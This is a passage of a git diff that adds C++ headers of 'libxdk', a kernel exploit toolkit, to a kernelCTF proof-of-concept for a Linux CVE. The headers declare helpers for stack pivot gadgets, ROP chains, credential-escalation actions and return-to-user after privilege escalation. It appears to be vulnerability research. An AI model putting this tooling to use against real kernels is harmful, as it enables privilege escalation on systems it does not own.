pointer after applying the shifts. + * @throws ExpKitError if a suitable stack shift gadget sequence cannot be found. + */ + uint64_t ApplyShift(uint64_t kaslr_base, uint64_t from_offset, + uint64_t min_to_offset); + + /** + * @brief Attempts to find a stack pivot and a sequence of stack shifts + * to pivot to a given Rop chain. + * + * @param rop The ROP chain to pivot to. + * @return A RopPivotInfo structure containing information about the successful pivot and shifts. + * @throws ExpKitError if a suitable pivot and shift sequence cannot be found. + * @note This function iterates through found pivots and attempts to apply shifts until a working combination is found. + */ + RopPivotInfo PivotToRop(const RopChain& rop); + + /** + * @brief Finds a simple "pop rsp; ret" gadget that doesn't change the stack + * before the RSP update and has its next RIP immediately after the gadget. + * + * @return An optional PopRspPivot. Contains a value if such a gadget is found, otherwise `std::nullopt`. + */ + std::optional GetPopRsp(); + + /** + * @brief Finds a simple "ret" gadget that shifts the stack by 8 bytes and jumps to the shifted location. + * + * @return A StackShiftPivot representing a simple "ret". + */ + StackShiftPivot GetSingleRet(); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h new file mode 100755 index 000000000..b9eb0e36c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h @@ -0,0 +1,120 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +/** + * @defgroup pivot_classes Pivot Classes + * @brief Classes for stack pivoting and related techniques. + */ + +/** + * @ingroup pivot_classes + * @brief Enum representing the type of indirect jump. + */ +enum class IndirectType { JMP, CALL }; + +/** + * @ingroup pivot_classes + * @brief Base struct for all pivot gadgets. + */ +struct Pivot { + uint64_t address; +}; + +/** + * @ingroup pivot_classes + * @brief Represents the usage of a register and the offsets relative to it that are used. + */ +struct RegisterUsage { + /** @brief The register being used. */ + Register reg; + /** @brief A vector of offsets relative to the register that are used. */ + std::vector used_offsets; +}; + +/** + * @ingroup pivot_classes + * @brief Represents a stack shifting pivot gadget. + */ +struct StackShiftPivot: Pivot { + /** @brief The offset from the new stack pointer where the next return address is expected. */ + uint64_t ret_offset; + /** @brief The amount by which the stack pointer is shifted. */ + uint64_t shift_amount; + + /** + * @brief Checks if the gadget jumps to the shifted stack location. + * @return True if the gadget jumps to the shifted stack location, false otherwise. + */ + bool JumpsToShift() const { return ret_offset == shift_amount - 8; } +}; + +/** + * @ingroup pivot_classes + * @brief Represents a one-gadget pivot. + */ +struct OneGadgetPivot: Pivot { + /** @brief Information about the register used for the pivot. */ + RegisterUsage pivot_reg; + /** @brief The offset from the pivot register's value to the next instruction pointer. */ + int64_t next_rip_offset; +}; + +/** + * @ingroup pivot_classes + * @brief Represents a push indirect pivot gadget. + */ +struct PushIndirectPivot: Pivot { + /** @brief The type of indirect jump (JMP or CALL). */ + IndirectType indirect_type; + /** @brief Information about the register being pushed onto the stack. */ + RegisterUsage push_reg; + /** @brief Information about the register containing the indirect address. */ + RegisterUsage indirect_reg; + /** @brief The offset from the indirect register's value to the next instruction pointer. */ + int64_t next_rip_offset; +}; + +/** + * @ingroup pivot_classes + * @brief Represents a pop RSP pivot gadget. + */ +struct PopRspPivot: Pivot { + /** @brief The change in the stack pointer before the RSP register is popped. */ + uint64_t stack_change_before_rsp; + /** @brief The offset from the new RSP value to the next instruction pointer. */ + int64_t next_rip_offset; +}; + +/** + * @ingroup pivot_classes + * @brief A collection of different types of pivot gadgets. + */ +struct Pivots { + /** @brief A vector of one-gadget pivots. */ + std::vector one_gadgets; + /** @brief A vector of push indirect pivots. */ + std::vector push_indirects; + /** @brief A vector of pop RSP pivots. */ + std::vector pop_rsps; + /** @brief A vector of stack shifting pivots. */ + std::vector stack_shifts; +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackPivot.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackPivot.h new file mode 100755 index 000000000..ad4e06056 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackPivot.h @@ -0,0 +1,84 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include + +/** + * @defgroup pivot_classes Pivot Classes + * @brief Classes for stack pivoting and related techniques. + */ + +/** + * @ingroup pivot_classes + * @brief Represents a potential stack pivot gadget or sequence of gadgets. + * + * This class encapsulates information about different types of stack pivots (one-gadget, push/pop) and provides methods to apply them to a payload. + */ +class StackPivot { + std::optional one_gadget_; + std::optional push_gadget_; + std::optional pop_gadget_; +public: + /** + * @brief Constructs a StackPivot from a OneGadgetPivot. + * @param one_gadget The OneGadgetPivot to use. + */ +StackPivot(const OneGadgetPivot& one_gadget); + +/** + * @brief Constructs a StackPivot from a PushIndirectPivot and a PopRspPivot. + * @param push_gadget The PushIndirectPivot to use. + * @param pop_gadget The PopRspPivot to use. + */ +StackPivot(const PushIndirectPivot& push_gadget, const PopRspPivot& pop_gadget); + +/** + * @brief Gets a string description of the stack pivot. + * @param include_clobbers Whether to include information about clobbered + * offsets in the description. + * @return A string describing the stack pivot. + * @throws ExpKitError if the StackPivot is in an invalid state. + */ +std::string GetDescription(bool include_clobbers = true) const; + +/** + * @brief Gets the address of the primary gadget in the stack pivot. + * @return The address of the primary gadget. + */ +uint64_t GetGadgetOffset(); + +/** + * @brief Gets the destination offset within the buffer where the pivot will + * transfer execution. + * @return The destination offset. + * + * This is typically the location where the next instruction or ROP chain + * should be placed. + */ +uint64_t GetDestinationOffset() const; + +/** + * @brief Applies the stack pivot to a given payload. + * @param payload The Payload object to modify. + * @param kaslr_base The KASLR base address. + */ +void ApplyToPayload(Payload& payload, uint64_t kaslr_base); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackShiftInfo.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackShiftInfo.h new file mode 100755 index 000000000..0a40feab4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackShiftInfo.h @@ -0,0 +1,53 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include + +/** + * @defgroup pivot_classes Pivot Classes + * @brief Classes for stack pivoting and related techniques. + */ + +/** + * @ingroup pivot_classes + * @brief Represents information about a single stack shifting gadget within a chain. + */ +struct StackShiftInfo { + /// @brief The offset within the payload where the address of this stack shift pivot is written. + uint64_t ret_offset; + /// @brief The stack shift pivot gadget. + const StackShiftPivot pivot; +}; + +/** + * @ingroup pivot_classes + * @brief Stores information about a chain of stack shifting gadgets. + */ +struct StackShiftingInfo { + /// @brief A vector of individual stack shift gadget information. + std::vector stack_shifts; + /// @brief The starting offset within the payload where the first stack shift pivot address is written. + uint64_t from_offset; + uint64_t to_offset; + uint64_t next_ret_offset; + + void Apply(uint64_t kaslr_base, Payload& payload); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/postrip.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/postrip.h new file mode 100755 index 000000000..817a0d903 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/postrip.h @@ -0,0 +1,21 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include +#include diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h new file mode 100755 index 000000000..b020bcae3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h @@ -0,0 +1,46 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +/** + * @defgroup rip_classes RIP Classes + * @brief Classes related to Return-Oriented Programming (ROP) utilities. + */ + +/** + * @ingroup rip_classes + * @class RopUtils + * @brief Utility functions for ROP chain generation. + */ +class RopUtils { +public: + /** + * @brief Generates a ROP chain to return to user space after a kernel exploit. + * + * This function sets up a fake user stack and uses the KPTI trampoline to transition back to user space. + * @param rop The RopChain object to add the return-to-user ROP action to. + * @param after_lpe_func The address of the function to execute in user space after returning from the kernel. + * @param stack_size The size of the fake user stack to allocate (default is 0x8000). + * @param redzone_size The size of the redzone at the end of the fake user stack (default is 0x100). + */ + static void Ret2Usr(RopChain& rop, void* after_lpe_func, + size_t stack_size = 0x8000, size_t redzone_size = 0x100); +}; diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/Target.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/Target.h new file mode 100755 index 000000000..61ee7155b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/Target.h @@ -0,0 +1,201 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include + +/** + * @defgroup target_classes Target Classes + * @brief Classes for managing and representing targets. + */ + +/** + * @ingroup target_classes + * @brief Enum for predefined ROP action IDs. + */ +enum struct RopActionId: uint32_t { + MSLEEP = 0x01, + COMMIT_INIT_TASK_CREDS = 0x02, + SWITCH_TASK_NAMESPACES = 0x03, + WRITE_WHAT_WHERE_64 = 0x04, + FORK = 0x5, + TELEFORK = 0x6, + KPTI_TRAMPOLINE = 0x07, +}; + +/** + * @ingroup target_classes + * @brief Enum for the types of ROP items. + */ +enum struct RopItemType: uint8_t { + CONSTANT_VALUE = 0, + SYMBOL = 1, + ARGUMENT = 2 +}; + +/** + * @ingroup target_classes + * @brief Represents a single item in a ROP chain. + */ +struct RopItem { + RopItemType type; + uint64_t value; + + RopItem(RopItemType type, uint64_t value): type(type), value(value) { } +}; + +/** + * @ingroup target_classes + * @brief Metadata for a ROP action argument. + */ +struct RopActionArgMeta { + std::string name; + bool required; + uint64_t default_value; + + RopActionArgMeta(std::string name, bool required, uint64_t default_value) + : name(name), required(required), default_value(default_value) { } +}; + +/** + * @ingroup target_classes + * @brief Metadata for a ROP action. + */ +struct RopActionMeta { + std::string desc; + std::vector args; + + RopActionMeta() {} + RopActionMeta(std::string desc): desc(desc) { } +}; + +/** + * @ingroup target_classes + * @brief Represents a field within a struct. + */ +struct StructField { + std::string name; + uint64_t offset; + uint64_t size; +}; + +/** + * @ingroup target_classes + * @brief Represents a kernel struct definition. + */ +struct Struct { + std::string name; + uint64_t size; + std::map fields; +}; + +/** + * @ingroup target_classes + * @class Target + * @brief Represents a specific kernel target with its symbols, ROP gadgets, and other definitions. + */ +class Target { +protected: + std::string distro; + std::string release_name; + std::string version; + std::map symbols; + std::map> rop_actions; + std::map structs; + Pivots pivots; + +public: + /** + * @brief Constructor for a Target. + * @param distro The distribution name. + * @param release_name The release name. + * @param version The version string (optional). + */ + Target(const std::string& distro, const std::string& release_name, + const std::string& version = ""); + + const std::string& GetDistro() const; + const std::string& GetReleaseName() const; + const std::string& GetVersion() const; + + /** + * @brief Get the offset of a symbol within the target. + * @param symbol_name The name of the symbol. + * @return The offset of the symbol. + * @throws ExpKitError if the symbol is not found or has an offset of 0. + */ + uint32_t GetSymbolOffset(std::string symbol_name); + + /** + * @brief Get the ROP items for a specific ROP action ID. + * @param id The ROP action ID. + * @return A vector of ROP items for the specified action. + * @throws ExpKitError if the ROP action ID is not found. + */ + std::vector GetRopActionItems(RopActionId id); + + const Struct& GetStruct(const std::string& name); + + const Pivots& GetPivots(); + + std::map GetAllSymbols(); + + /** + * @brief Add a symbol to the target. + * @param name The name of the symbol. + * @param value The value (offset) of the symbol without the base address. + */ + void AddSymbol(const std::string& name, uint64_t value); + + /** + * @brief Add a ROP Action to the target. + * @param name The name of the ROP Action. + * @param value The ROP Action items (array of RopItem). + */ + void AddRopAction(const std::string& name, std::vector value); + + /** + * @brief Add a struct definition to the target. + * @param value The struct structure + */ + void AddStruct(const Struct& value); + + /** + * @brief Add a struct definition to the target. + * @param name The name of the struct. + * @param size The size of the struct. + * @param fields A vector of StructField objects representing the fields of the struct. + */ + void AddStruct(const std::string& name, uint64_t size, + const std::vector& fields); + + /** + * @brief Sets the Pivots struct for the target. + * @param pivots The pivots struct + */ + void SetPivots(const Pivots& pivots); + + void Merge(const Target& src); + + uint64_t GetStructSize(const std::string& struct_name); + uint64_t GetFieldOffset(const std::string& struct_name, const std::string& field_name); + uint64_t GetFieldSize(const std::string& struct_name, const std::string& field_name); +}; diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h new file mode 100755 index 000000000..5f7905012 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h @@ -0,0 +1,112 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include + +class KxdbParser; +/** + * @defgroup target_classes Target Classes + * @brief Classes for managing and representing targets. + */ + +/** + * @ingroup target_classes + * @class TargetDb + * @brief Manages a database of kernel targets, including both static and dynamically parsed ones. + */ +class TargetDb { + std::unique_ptr parser_; + + std::vector static_targets_; + std::map by_version_; + std::map by_distro_release_; + + /** + * @brief Merges data from a source Target object into a destination Target object. + * @param dst The destination Target object to merge into. + * @param src The source Target object to merge from. + */ + void MergeTargets(Target& dst, const Target& src); + + /** + * @brief Retrieves a Target object, merging data from a KxdbParser target and a target if available. + * @param target_opt An optional Target object parsed from a KXDB file. + * @param static_idx An optional index of a target to merge. + * @return The merged Target object. + * @throws ExpKitError if both target_opt and static_idx are not provided. + */ + Target GetTarget(std::optional target_opt, + std::optional static_idx); + +public: + // declare destructor + ~TargetDb(); + TargetDb() = default; + + /** + * @brief Constructs a TargetDb object. + * @param filename A database file to read from. + */ + TargetDb(const std::string &filename); + + /** + * @brief Constructs a TargetDb object from a byte buffer. + * @param data The buffer containing the KXDB file data. + */ + TargetDb(const std::vector& data); + + /** + * @brief Constructs a TargetDb object. + * @param filename A database file to read from if exists. + * @param fallback_kxdb The buffer containing the fallback / built-in KXDB file data if the file does not exists. + */ + TargetDb(const std::string& filename, const std::vector& fallback_kxdb); + + /** + * @brief Adds a target to the database. + * @param target The target to add. + */ + void AddTarget(const Target& target); + + /** + * @brief Retrieves a Target object by distro and release name. + * @param distro The distribution name. + * @param release_name The release name. + * @return The Target object. + */ + Target GetTarget(const std::string& distro, + const std::string& release_name); + + /** + * @brief Retrieves a Target object by version. + * @param version The version string. + * @return The Target object. + */ + Target GetTarget(const std::string& version); + + /** + * @brief Automatically detects the target based on the system's kernel version. + * @return The detected Target object. + * @throws ExpKitError if the target cannot be detected. + */ + Target AutoDetectTarget(); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/HexDump.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/HexDump.h new file mode 100755 index 000000000..e0c63f809 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/HexDump.h @@ -0,0 +1,74 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @class HexDump + * @brief Utility class for generating hexadecimal dumps of memory. + */ +class HexDump { +public: + /** + * @brief Generates a hexadecimal dump of a memory buffer into a character array. + * @param dst The destination character array to write the dump to. + * @param buf The buffer containing the data to dump. + * @param len The number of bytes to dump. + * @note The dst buf needs to be large enough to store all the data. 16 bytes are converted into: "00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF | 0123456789ABCDEF\n" (70 bytes) + */ +static void Dump(char* dst, const uint8_t* buf, int len); + +/** + * @brief Generates a hexadecimal dump of a memory buffer into a string. + * @param buf The buffer containing the data to dump. + * @param len The number of bytes to dump. + * @return A string containing the hexadecimal dump. + */ +static std::string Dump(const void* buf, int len); + +/** + * @brief Generates a hexadecimal dump of a vector of bytes into a string. + * @param data The vector of bytes to dump. + * @return A string containing the hexadecimal dump. + */ +static std::string Dump(const std::vector& data); + +/** + * @brief Prints a hexadecimal dump of a memory buffer to the standard output. + * @param buf The buffer containing the data to dump. + * @param len The number of bytes to dump. + */ +static void Print(const void* buf, int len); + +/** + * @brief Prints a hexadecimal dump of a vector of bytes to the standard + * output. + * @param data The vector of bytes to dump. + */ +static void Print(const std::vector& data); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Register.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Register.h new file mode 100755 index 000000000..97e3ce3b6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Register.h @@ -0,0 +1,34 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief Enum representing x86-64 general-purpose registers. + */ +enum class Register { RAX = 0, RBX, RCX, RDX, RSI, RDI, RBP, RSP, R8, R9, R10, R11, R12, R13, R14, R15 }; + +/** + * @ingroup util_classes + * @brief An array of human-readable names for the Register enum values. + */ +extern const char* register_names[]; diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Syscalls.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Syscalls.h new file mode 100755 index 000000000..48523b6d6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Syscalls.h @@ -0,0 +1,152 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief A type definition for a file descriptor. + */ +typedef int fd; + +/** + * @ingroup util_classes + * @brief A type definition for an array of two file descriptors for a pipe. + */ +typedef fd pipefds[2]; + +/** + * @ingroup util_classes + * @class Syscalls + * @brief A wrapper class for common system calls with error checking. + */ +class Syscalls { + /** + * @brief Checks the result of a system call against an expected value. + * @param result The actual result of the system call. + * @param expected The expected result of the system call (defaults to 0). + * @param syscall_name The name of the system call (defaults to the current function name). + * @throws errno_error if the result is -1 (indicating a system error). + * @throws ExpKitError if the result does not match the expected value. + */ + static void __check(int result, int expected = 0, + const char* syscall_name = __builtin_FUNCTION()); + + /** + * @brief Checks if the result of a system call is valid (not -1 and not negative). + * @tparam T The type of the result. + * @param result The result of the system call. + * @param syscall_name The name of the system call (defaults to the current function name). + * @return The result of the system call if it is valid. + * @throws errno_error if the result is -1 (indicating a system error). + * @throws ExpKitError if the result is a negative number unexpectedly. + */ + template + static T __check_valid(T result, + const char* syscall_name = __builtin_FUNCTION()); + +public: + /** + * @brief Wraps the open system call with error checking. + * @param file The path to the file. + * @param oflag The flags for opening the file. + * @return The file descriptor. + * @throws ExpKitError if the system call fails. + */ + static int open(const char* file, int oflag); + + /** + * @brief Wraps the read system call with error checking. + * @param fd The file descriptor to read from. + * @param buf The buffer to store the read data. + * @param n The number of bytes to read. + * @throws ExpKitError if the system call fails or reads an unexpected number + * of bytes. + */ + static void read(fd fd, void* buf, size_t n); + + /** + * @brief Wraps the write system call with error checking. + * @param fd The file descriptor to write to. + * @param buf The buffer containing the data to write. + * @param n The number of bytes to write. + * @throws ExpKitError if the system call fails or writes an unexpected number + * of bytes. + */ + static void write(fd fd, const void* buf, size_t n); + + /** + * @brief Wraps the ioctl system call with error checking. + * @param fd The file descriptor. + * @param request The ioctl request. + * @param arg The argument for the ioctl request. + * @return The result of the ioctl system call. + * @throws ExpKitError if the system call fails. + */ + static int ioctl(int fd, unsigned long int request, void* arg); + + /** + * @brief Wraps the close system call with error checking. + * @param fd The file descriptor to close. + * @throws ExpKitError if the system call fails. + */ + static void close(fd fd); + + /** + * @brief Wraps the pipe system call with error checking. + * @param pipefds An array to hold the file descriptors for the read and write + * ends of the pipe. + * @throws ExpKitError if the system call fails. + */ + static void pipe(pipefds pipefds); + + /** + * @brief Wraps the stat() system call with error checking. + * @param path The path argument passed to the stat() syscall. + * @throws ExpKitError if the system call fails. + */ + static struct stat stat(const char* path); + + /** + * @brief Wraps the unshare() system call with error checking. + * @param flags The flags argument passed to the unshare() syscall. + * @throws ExpKitError if the system call fails. + */ + static void unshare(int flags); + + /** + * @brief Wraps the readlink() system call with error checking. + * @param path The path argument passed to the unshare() syscall. + * @param bufsize Maximum expected size of the result path. + * @throws ExpKitError if the system call fails or if the bufsize was not big enough. + */ + static std::string readlink(const char* path, size_t bufsize = 256); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h new file mode 100755 index 000000000..8c8ee0f22 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h @@ -0,0 +1,67 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief Custom exception class for ExpKit-specific errors. + */ +struct ExpKitError : public std::runtime_error { + /** + * @brief Constructs an ExpKitError with a single error message. + * @param error_msg The error message. + */ + template + ExpKitError(const char* error_msg): std::runtime_error(error_msg) {} + + /** + * @brief Constructs an ExpKitError with a formatted error message. + * @tparam Args The types of the arguments for the format string. + * @param format The format string. + * @param args The arguments for the format string. + */ + template + ExpKitError(const char* format, const Args&... args): std::runtime_error(format_str(format, args...)) {} +}; + +/** + * @ingroup util_classes + * @brief Represents an error based on the current value of errno. + */ +struct errno_error: std::system_error { + /** + * @brief Constructs an errno_error with the current errno value. + */ + errno_error(); + + /** + * @brief Constructs an errno_error with the current errno value and an additional message. + * @param __what An additional message describing the error. + */ + errno_error(const char* __what); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/incbin.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/incbin.h new file mode 100755 index 000000000..7cf757c15 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/incbin.h @@ -0,0 +1,35 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + #pragma once + #include + + /** + * @brief Includes a binary file into the executable. + * @param var_name The name for the included data and size variables. + * @param filename The path to the binary file to include. + */ +#define INCBIN(var_name, filename) \ + __asm__(".section .rodata\n" \ + #var_name "_begin:\n" \ + ".incbin \"" filename "\"\n" \ + #var_name "_end:\n" \ + ); \ + extern const unsigned char var_name ## _begin[]; \ + extern const unsigned char var_name ## _end[]; \ + __asm__(".section .bss\n"); \ + extern const size_t var_name ## _size = var_name ## _end - var_name ## _begin; \ + std::vector var_name = std::vector(var_name ## _begin, var_name ## _end); diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h new file mode 100755 index 000000000..f5d57437b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h @@ -0,0 +1,51 @@ +/* + * Copyright 2025 Google LLC + * + 